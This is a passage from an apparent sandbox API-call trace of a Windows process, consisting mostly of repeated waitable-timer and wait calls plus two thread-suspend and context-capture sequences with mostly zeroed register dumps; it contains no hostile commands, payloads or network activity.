Time=0x0) returned 0x0 [0172.351] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.352] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.352] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.352] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.352] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.352] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.352] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.352] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.352] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.352] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.353] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.353] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.353] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.353] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.353] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.353] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.353] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.353] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.353] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.353] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.353] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.354] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.354] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.354] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.354] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.354] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.354] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.354] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.354] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.354] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.354] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.354] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.354] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.355] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.355] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.355] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.355] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.355] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.355] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.355] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.355] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.355] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.355] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.356] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.356] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.356] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.356] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.356] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.356] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.356] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.356] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.356] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.356] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.372] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.372] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.373] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.373] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.373] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.373] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.373] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.373] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.373] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.373] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.373] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.373] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.373] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.373] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.374] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.374] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.374] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.374] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.374] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.374] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.374] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.374] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.374] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.374] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.375] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.375] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.375] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.375] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.375] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.375] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.375] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.375] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.375] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.375] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.375] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.375] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.376] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.376] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.376] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.376] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.376] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.376] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.376] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.376] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.376] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.376] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.376] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.387] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.388] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.388] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.388] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.388] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.388] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.389] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.389] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.389] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.389] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.389] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.389] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.389] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.390] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.390] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.390] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.390] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.390] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.390] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.390] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.391] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.391] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.391] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.391] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.391] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.391] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.391] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.392] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.392] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.392] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.392] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.392] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.392] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.392] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.392] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.393] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.393] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.393] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.393] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.393] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.393] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.393] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.394] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.394] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.394] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.394] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.483] SuspendThread (hThread=0x16c) returned 0x0 [0172.483] GetThreadContext (in: hThread=0x16c, lpContext=0xd3f810 | out: lpContext=0xd3f810*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000197d20, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0xe93f79, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0172.510] ResumeThread (hThread=0x16c) returned 0x1 [0172.511] CloseHandle (hObject=0x16c) returned 1 [0172.956] SuspendThread (hThread=0x16c) returned 0x0 [0172.956] GetThreadContext (in: hThread=0x16c, lpContext=0xd3f810 | out: lpContext=0xd3f810*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0001977b8, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0xe21f1f, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, 